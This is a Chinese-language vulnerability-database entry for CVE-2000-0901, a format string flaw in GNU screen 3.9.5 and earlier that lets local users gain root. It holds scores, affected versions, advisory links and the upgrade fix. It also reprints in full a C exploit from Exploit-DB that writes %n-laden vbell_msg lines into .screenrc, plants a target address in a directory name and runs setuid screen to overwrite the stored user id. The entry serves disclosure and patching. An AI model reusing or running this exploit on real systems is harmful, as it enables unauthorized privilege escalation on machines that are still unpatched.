CVE-2000-0901
CVSS4.6
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:09
NMCOE    

[原文]Format string vulnerability in screen 3.9.5 and earlier allows local users to gain root privileges via format characters in the vbell_msg initialization variable.


[CNNVD]screen格式字符串漏洞(CNNVD-200012-148)

        screen 3.9.5以及之前版本存在格式字符串漏洞。本地用户借助vbell_msg初始化变量中格式字符提升根目录特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:juergen:weigert_screen:3.9.5
cpe:/a:juergen:weigert_screen:3.9.3
cpe:/a:juergen:weigert_screen:3.9.4

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0901
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0901
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-148
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5188.php
(VENDOR_ADVISORY)  XF  screen-format-string
http://www.securityfocus.com/bid/1641
(VENDOR_ADVISORY)  BID  1641
http://www.securityfocus.com/archive/1/80178
(UNKNOWN)  BUGTRAQ  20000905 screen 3.9.5 root vulnerability
http://www.redhat.com/support/errata/RHSA-2000-058.html
(UNKNOWN)  REDHAT  RHSA-2000:058
http://www.novell.com/linux/security/advisories/adv6_draht_screen_txt.html
(UNKNOWN)  SUSE  20000906 screen format string parsing security problem
http://www.linux-mandrake.com/en/updates/MDKSA-2000-044.php3
(UNKNOWN)  MANDRAKE  MDKSA-2000:044
http://archives.neohapsis.com/archives/bugtraq/2000-08/0530.html
(UNKNOWN)  BUGTRAQ  20000906 Screen-3.7.6 local compromise
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:46.screen.asc
(UNKNOWN)  FREEBSD  FreeBSD-SA-00:46

- 漏洞信息

screen格式字符串漏洞
中危 格式化字符串
2000-12-19 00:00:00 2005-05-02 00:00:00
本地  
        screen 3.9.5以及之前版本存在格式字符串漏洞。本地用户借助vbell_msg初始化变量中格式字符提升根目录特权。

- 公告与补丁

        

- 漏洞信息 (20191)

Juergen Weigert screen 3.9 User Supplied Format String Vulnerability (EDBID:20191)
bsd local
2000-09-05 Verified
0 IhaQueR@IRCnet
N/A [点击下载]
source: http://www.securityfocus.com/bid/1641/info

Various format string vulnerabilities exist in versions 3.9.5 and prior of 'screen' that may allow local users to elevate their privileges. If screen is setuid root, it is possible to alter the contents of the variable which stores the user id.


/****************************************************************
*
*
*  Screen 3.7.6 (and others) local
exploit                                                                *

*  by
IhaQueR@IRCnet
*
*
*
****************************************************************/



#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>



#define TMPBUFSIZE 4096

#define SCREENRC "/usr/home/paul/.screenrc"
#define SCREEN "/usr/bin/screen"

#define AREP 1
#define BUFOFFSET 324
#define PADDING 3
#define WRITEADDR 0x807beb4


//  some offsets grabbed from 3.7.6
//  &real_uid, &real_gid, &eff_uid, &eff_gid own_uid
//  0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
//  + 64  +64



int main(int argc, char** argv)
{
int i, l;
FILE* fp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
unsigned char* cp;
unsigned a, *p;


  if(argc != 2) {
   printf("USAGE %s offset\n", argv[0]);
   return 0;
  }

  l = atoi(argv[1]);
  printf("creating magic string\n");

  bzero(buf, TMPBUFSIZE);

/*  consume stack arguments */
  for(i=0; i<BUFOFFSET/4; i++)
   strcat(buf, "%.0d");

/*  finally write to adress */
//  for(i=0;i<9; i++)
   strcat(buf, "%n");

  if(fp = fopen(SCREENRC, "w")) {
   fprintf(fp, "vbell on\n");
   fprintf(fp, "vbell_msg '%s'\n", buf);
   fprintf(fp, "vbellwait 11111\n");
   fclose(fp);
  }
  else {
   printf("ERROR: opening %s\n", SCREENRC);
  }

/*  now create the magic dir... */
  bzero(adr, (AREP+2)*sizeof(unsigned));
  cp = adr;
  for(i=0; i<PADDING; i++) {
   *cp = 'p';
   cp++;
  }

  p = (unsigned*) cp;

  a = WRITEADDR;
  a = a + l;

  for(i=0; i<AREP; i++) {
   *p = a;
//   a += 4;
   p++;
  }

  *p = 0;

/* make dir and call screen */
  mkdir((char*)adr, 0x777);
  chdir((char*)adr);
  argv[1] = NULL;
  execv(SCREEN, argv);
}
		

- 漏洞信息

1542
screen vbell_msg Initialization Variable Format String
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-09-02 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 3.9.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站